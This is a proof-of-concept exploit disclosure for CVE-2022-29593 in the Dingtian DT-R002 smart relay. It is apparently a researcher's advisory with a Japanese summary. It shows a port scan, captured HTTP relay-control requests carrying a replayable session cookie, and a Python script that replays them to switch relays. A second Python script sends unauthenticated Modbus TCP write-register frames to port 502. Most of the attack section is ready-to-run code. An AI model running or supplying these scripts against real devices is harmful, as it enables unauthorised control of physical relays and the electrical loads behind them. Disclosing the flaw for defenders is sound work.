
CVE-2022-29593のPoCエクスプロイト。Dingtian DT-R002スマートリレーにおけるキャプチャリプレイによる認証バイパスを実証し、HTTPおよびModbusリプレイ攻撃を含む。

キャプチャリプレイによる認証バイパス 公開: バージョン: 1.0 ベンダー: Shenzhen Dingtian Technologies Co.,Ltd 製品: 2チャンネルリレーボード/リレーカード 影響を受けるバージョン: ファームウェア V3.1.276A
概要
複数チャンネルリレーをサポート、On/Off/Delay/Jog
複数インターフェース RJ45/RS485/CAN/WIFI をサポート
ローカルボタン制御
PCアプリ設定と制御
WEB設定と制御
8KB FIFOコマンドバッファ
パスワード対応。
WIFIスマート設定対応
ボタン制御
MQTT/Modbus/CoAP
技術パラメータ
インターフェース RJ45/ RS485/CAN/WIFI
ボーレート 100M/115200bps/125kbps/150Mbps
プロトコル TCPサーバ/クライアント、UDPサーバ/クライアント、RS485、CAN、WIFI
動作温度 -10〜+75°C
保管温度 -40〜+125°C
相対湿度 5〜95% RH、結露なきこと
電源 9-40V 無極性
電流 1A@12V DC
消費電力 <5W
リレーパラメータ
リレー電力 AC 250V/10A、DC 30V/10A
遅延 1〜65535秒
ジョグ 0.5秒で引き込み、自動解放
電源 無極性
DC 9〜40V 無極性
>
nmap -p- --open -Pn 192.168.7.1
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
502/tcp open mbap
>
Turning ON
Request
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&1&0&
Turning OFF
Request
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&0&0&
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> <relay#> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&"
urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&"
urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&"
urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&"
headers = {
"Host": ""+host+"",
"User-Agent": "9lyph/3.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"DNT": "1",
"Connection": "close",
"Referer": "http://"+host+"/relay_cgi.html",
"Cookie": "session=4463009"
}
print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ")
for i in range(5):
time.sleep (1)
print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="")
try:
if (relay == "1"):
print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay1On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL)
r = requests.get(urlRelay1Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
elif (relay == "2"):
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2On)
time.sleep (5)
print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL)
r = requests.get(urlRelay2Off)
print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="")
else:
print (Fore.RED + "[!] No such relay" + Style.RESET_ALL)
except KeyboardInterrupt:
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv)>2:
host = sys.argv[1]
relay = sys.argv[2]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Modbusプロトコルを使用してリレーのオン/オフを切り替えることも可能でした。TCP 502上で動作するModbusプロトコルはやや安全ではなく、認証なしでレジスタの読み取りと書き込みが可能です。
import socket
import sys
import os
import time
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
'''
4.3.2 0x06:Write Single Register
4 Relay All ON
Send:
0000 0000 0006 FF 06 0002 0f0f
Recv:
0000 0000 0006 FF 06 0002 0f0f
4 Relay All OFF
Send:
0000 0000 0006 FF 06 0002 0f00
Recv:
01 06 0002 0f00 2DFA
0000 0000 0006 FF 06 00020f0f
<2 byte Transaction ID> |<2 byte Protocol ID>|<2 byte length>|<1 byte Unit ID>|<1 bytes function code>|<Data for response or commands>
Transaction ID: This is used for synchronisation between Server and Client
Protocol ID: 0 for ModBusTCP
Length Field: Number of remaining bytes in the frame
Unit Identifier: Server Address (255 or FF if not used)
Function Code: Function code as in other variants
Data Bytes: Data for response of commands
- Function code 06 (Write Singlt Register) [Request]
- Address of holding register to preset/write (2bytes)
- New Value of the holding register (2bytes)
'''
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+" <host> |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
s = socket.socket()
try:
s.connect((host, 502))
print (Fore.GREEN + "[+] " + Fore.WHITE + "T" + Fore.GREEN + "u" + Fore.WHITE + "r" + Fore.GREEN + "n" + Fore.WHITE + "i" + Fore.GREEN + "n" + Fore.WHITE + "g" + Fore.GREEN + "R" + Fore.WHITE + "e" + Fore.GREEN + "l" + Fore.WHITE + "a" + Fore.GREEN + "y" + Fore.WHITE + " O" + Fore.GREEN + "n" + Style.RESET_ALL)
on = ("000000000006FF0600020f0f")
off = ("000000000006FF0600020f00")
# read = ("000000000006FF0400020001")
s.sendall((bytes.fromhex(on)))
time.sleep(10)
print (Fore.RED + "[+]" + Fore.WHITE + "T" + Fore.RED + "u" + Fore.WHITE + "r" + Fore.RED + "n" + Fore.WHITE + "i" + Fore.RED + "n" + Fore.WHITE + "g" + Fore.RED + " R" + Fore.WHITE + "e" + Fore.RED +"l" +Fore.WHITE + "a" +Fore.RED + "y" + Fore.WHITE + " O" + Fore.RED + "f" +Fore.WHITE + "f")
s.sendall((bytes.fromhex(off)))
data = s.recv(1024)
print (Fore.BLUE + "[+]" + Fore.WHITE + "P" + "w" + Fore.BLUE + "n" + Fore.WHITE + "e" + Fore.BLUE + "d" + Fore.WHITE + "!" + Fore.BLUE + "!" + Style.RESET_ALL)
except socket.timeout:
print (f"[!] Cannot connect to target: {host} !!")
except Exception as e:
print(e)
if __name__ == "__main__":
if len(sys.argv)>1:
host = sys.argv[1]
main ()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target !" + Style.RESET_ALL)
>
>
ESP32 MCU - https://fccid.io/2AC7Z-ESP32
>
Victor Hanna of Exploit Security